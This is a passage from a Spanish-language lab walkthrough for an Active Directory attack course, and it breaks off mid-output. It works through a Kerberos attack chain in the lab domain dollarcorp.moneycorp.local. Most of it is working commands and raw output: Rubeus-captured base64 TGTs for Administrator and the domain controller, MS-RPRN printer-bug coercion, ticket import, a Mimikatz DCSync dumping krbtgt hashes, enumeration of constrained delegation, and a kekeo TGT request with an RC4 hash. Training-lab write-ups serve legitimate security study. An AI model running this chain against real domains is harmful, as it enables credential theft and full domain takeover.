bjItzyo9DTB6/I3b5yGYi8V0i/1OuLK709fjtbkzsWwZhBlvlL21XR3F2jxWvNG9gSO2NZd1Q2B30eY//AErH+EVswzDFwTTidas8u3a/LEIogWEq1N6mLbsAbdE59apdDWhC5adRq/iAKFzXhdsCWrsComClPBrJDpxFlJWjck32+RAinUctDNiY2IRtMP58KNgYBYD/Z/F9BWFT5HvqFG1IRfFEr3c0fl0swXmRhmqnqIF1XMEvRTgcovAAYCZPY+kSW0oc9DEZOevg9j5pTrKvyFuas261IX2A5ednzIcSGCZzI/2eUU7a4BTqMywiIwbZZWUCR4CJq6C4yresYQGBqDEoMP/5ZjWeKOr99eN339qvzad4H4i65/RH8KfbEqxQ18Pc0Bfhr88GJOy7nvxLRg4ao7+goWtkuPziU876rprd2JuENR8zRLZKShqDANnoJZyKrqThDSkUR+lW/SRDTUEvVl3MRly0YYsGDZuA8MumZO84mNKAONrVrKsE9Kq06hTQOKhNlOj78iCyao/xvYJSbP4W4DvqHT2DSRiogM62iq8/lEOU/8FCrKhV8OSpgYt+34olscWkZ+VxUtgr+R1SDcZXvBN2vvHG/xeEIIovgVVn+0ryuZMQSa2XcGVeqJvSlt8UJu8wrLWNvtQNKArxcorw+a8GsLUxo4IBGjCCARagAwIBAKKCAQ0EggEJfYIBBTCCAQGggf4wgfswgfigKzApoAMCARKhIgQg7cY9uaRoRlLBCuwHFYUpA5OYFnhWVVn21ekf1nZJMNihHBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBgoQAApREYDzIwMjQwMzAyMjM1ODEyWqYRGA8yMDI0MDMwMzA5NTgxMlqnERgPMjAyNDAzMDkyMzU4MTJaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTA== [*] Ticket cache size: 17 [*] 3/2/2024 11:59:13 PM UTC - Found new TGT: User : student723@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:59:11 PM EndTime : 3/2/2024 8:45:28 PM RenewTill : 3/9/2024 10:45:28 AM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:59:13 PM UTC - Found new TGT: User : DCORP-DC$@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:22:36 PM EndTime : 3/3/2024 1:22:36 AM RenewTill : 3/9/2024 5:51:58 AM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] Ticket cache size: 19 [*] 3/2/2024 11:59:18 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:59:13 PM EndTime : 3/3/2024 1:59:12 AM RenewTill : 3/9/2024 3:59:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] Ticket cache size: 20 [*] 3/3/2024 12:00:13 AM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 4:00:12 PM EndTime : 3/3/2024 2:00:12 AM RenewTill : 3/9/2024 4:00:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 ``` {% endcode %} Y en una terminal normal de nuestor usuario estudiante lanzamos el ataque en MS-RPRN. ``` PS C:\ad\Tools> .\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local RpcRemoteFindFirstPrinterChangeNotificationEx failed.Error Code 1722 - The RPC server is unavailable. ``` Luego de obtener el ticket lo decodificamos en b64 e importamos. {% code overflow="wrap" %} ``` PS C:\AD\Tools\tickets> $base64Content = Get-Content -Path "dc-pc.b64.txt" PS C:\AD\Tools\tickets> [System.Convert]::FromBase64String($base64Content) | Set-Content -Path "dc-pc.kirbi" -Encoding Byte PS C:\AD\Tools\tickets> klist Current LogonId is 0:0x17ce62 Cached Tickets: (0) PS C:\AD\Tools\tickets> ..\Rubeus.exe ptt /ticket:dc-pc.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Import Ticket [+] Ticket successfully imported! PS C:\AD\Tools\tickets> klist Current LogonId is 0:0x17ce62 Cached Tickets: (1) #0> Client: DCORP-DC$ @ DOLLARCORP.MONEYCORP.LOCAL Server: krbtgt/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize Start Time: 3/2/2024 15:22:36 (local) End Time: 3/3/2024 1:22:36 (local) Renew Time: 3/9/2024 5:51:58 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0x1 -> PRIMARY Kdc Called: ``` {% endcode %} Ahora, podemos cargar el comando de dcsync. ``` PS C:\AD\Tools\tickets> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # lsadump::dcsync /user:dcorp\krbtgt [DC] 'dollarcorp.moneycorp.local' will be the domain [DC] 'dcorp-dc.dollarcorp.moneycorp.local' will be the DC server [DC] 'dcorp\krbtgt' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 11/11/2022 9:59:41 PM Object Security ID : S-1-5-21-719815819-3726368948-3917688648-502 Object Relative ID : 502 Credentials: Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986 ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986 lm - 0: ea03581a1268674a828bde6ab09db837 Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd * Primary:Kerberos-Newer-Keys * Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 aes128_hmac (4096) : e74fa5a9aa05b2c0b2d196e226d8820e des_cbc_md5 (4096) : 150ea2e934ab6b80 * Primary:Kerberos * Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt Credentials des_cbc_md5 : 150ea2e934ab6b80 * Packages * NTLM-Strong-NTOWF * Primary:WDigest * 01 a0e60e247b498de4cacfac3ba615af01 02 86615bb9bf7e3c731ba1cb47aa89cf6d 03 637dfb61467fdb4f176fe844fd260bac 04 a0e60e247b498de4cacfac3ba615af01 05 86615bb9bf7e3c731ba1cb47aa89cf6d 06 d2874f937df1fd2b05f528c6e715ac7a 07 a0e60e247b498de4cacfac3ba615af01 08 e8ddc0d55ac23e847837791743b89d22 09 e8ddc0d55ac23e847837791743b89d22 10 5c324b8ab38cfca7542d5befb9849fd9 11 f84dfb60f743b1368ea571504e34863a 12 e8ddc0d55ac23e847837791743b89d22 13 2281b35faded13ae4d78e33a1ef26933 14 f84dfb60f743b1368ea571504e34863a 15 d9ef5ed74ef473e89a570a10a706813e 16 d9ef5ed74ef473e89a570a10a706813e 17 87c75daa20ad259a6f783d61602086aa 18 f0016c07fcff7d479633e8998c75bcf7 19 7c4e5eb0d5d517f945cf22d74fec380e 20 cb97816ac064a567fe37e8e8c863f2a7 21 5adaa49a00f2803658c71f617031b385 22 5adaa49a00f2803658c71f617031b385 23 6d86f0be7751c8607e4b47912115bef2 24 caa61bbf6b9c871af646935febf86b95 25 caa61bbf6b9c871af646935febf86b95 26 5d8e8f8f63b3bb6dd48db5d0352c194c 27 3e139d350a9063db51226cfab9e42aa1 28 d745c0538c8fd103d71229b017a987ce 29 40b43724fa76e22b0d610d656fb49ddd ``` # Learning Objective - 16 ## Constrained Delegation Buscamos usuarios y computadores con constrained delegation activado. Con powerview: ``` PS C:\ad\tools> Get-DomainUser -TrustedToAuth logoncount : 7 badpasswordtime : 3/2/2024 2:35:49 PM distinguishedname : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local objectclass : {top, person, organizationalPerson, user} displayname : web svc lastlogontimestamp : 3/2/2024 2:34:21 PM userprincipalname : websvc whencreated : 11/14/2022 12:42:13 PM samaccountname : websvc codepage : 0 samaccounttype : USER_OBJECT accountexpires : NEVER countrycode : 0 whenchanged : 3/2/2024 10:34:21 PM instancetype : 4 usncreated : 38071 objectguid : b7ab147c-f929-4ad2-82c9-7e1b656492fe sn : svc lastlogoff : 12/31/1600 4:00:00 PM msds-allowedtodelegateto : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql} objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local dscorepropagationdata : {11/14/2022 12:42:13 PM, 1/1/1601 12:00:00 AM} serviceprincipalname : {SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL, SNMP/ufc-adminsrv} givenname : web usnchanged : 1252324 lastlogon : 3/2/2024 2:36:14 PM badpwdcount : 0 cn : web svc useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION objectsid : S-1-5-21-719815819-3726368948-3917688648-1114 primarygroupid : 513 pwdlastset : 11/14/2022 4:42:13 AM name : web svc PS C:\ad\tools> Get-DomainComputer -TrustedToAuth pwdlastset : 11/11/2022 11:16:12 PM logoncount : 79 badpasswordtime : 12/31/1600 4:00:00 PM distinguishedname : CN=DCORP-ADMINSRV,OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local objectclass : {top, person, organizationalPerson, user...} lastlogontimestamp : 3/2/2024 5:37:32 AM whencreated : 11/12/2022 7:16:12 AM samaccountname : DCORP-ADMINSRV$ localpolicyflags : 0 codepage : 0 samaccounttype : MACHINE_ACCOUNT whenchanged : 3/2/2024 1:37:32 PM accountexpires : NEVER countrycode : 0 operatingsystem : Windows Server 2022 Datacenter instancetype : 4 useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION objectguid : 2e036483-7f45-4416-8a62-893618556370 operatingsystemversion : 10.0 (20348) lastlogoff : 12/31/1600 4:00:00 PM msds-allowedtodelegateto : {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC} objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=moneycorp,DC=local dscorepropagationdata : {11/15/2022 4:16:45 AM, 1/1/1601 12:00:00 AM} serviceprincipalname : {WSMAN/dcorp-adminsrv, WSMAN/dcorp-adminsrv.dollarcorp.moneycorp.local, TERMSRV/DCORP-ADMINSRV, TERMSRV/dcorp-adminsrv.dollarcorp.moneycorp.local...} usncreated : 13891 usnchanged : 617675 lastlogon : 3/2/2024 10:17:20 PM badpwdcount : 0 cn : DCORP-ADMINSRV msds-supportedencryptiontypes : 28 objectsid : S-1-5-21-719815819-3726368948-3917688648-1105 primarygroupid : 515 iscriticalsystemobject : False name : DCORP-ADMINSRV dnshostname : dcorp-adminsrv.dollarcorp.moneycorp.local ``` Con RSAT: ``` PS C:\ad\Tools\ADModule-master\ActiveDirectory> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo DistinguishedName : CN=DCORP-ADMINSRV,OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local msDS-AllowedToDelegateTo : {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC} Name : DCORP-ADMINSRV ObjectClass : computer ObjectGUID : 2e036483-7f45-4416-8a62-893618556370 DistinguishedName : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local msDS-AllowedToDelegateTo : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql} Name : web svc ObjectClass : user ObjectGUID : b7ab147c-f929-4ad2-82c9-7e1b656492fe ``` Ahora usaremos kekeo para solicitar el TGT, de websvc. Para ello, debemos tener el hash del usuario. ``` PS C:\AD\Tools\kekeo\x64> .\kekeo.exe ___ _ kekeo 2.1 (x64) built on Jun 15 2018 01:01:01 - lil! / ('>- "A La Vie, A L'Amour" | K | /* * * \____/ Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) L\_ http://blog.gentilkiwi.com/kekeo (oe.eo) with 9 modules * * */ kekeo # tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f Realm : dollarcorp.moneycorp.local (dollarcorp) User : websvc (websvc) CName : websvc 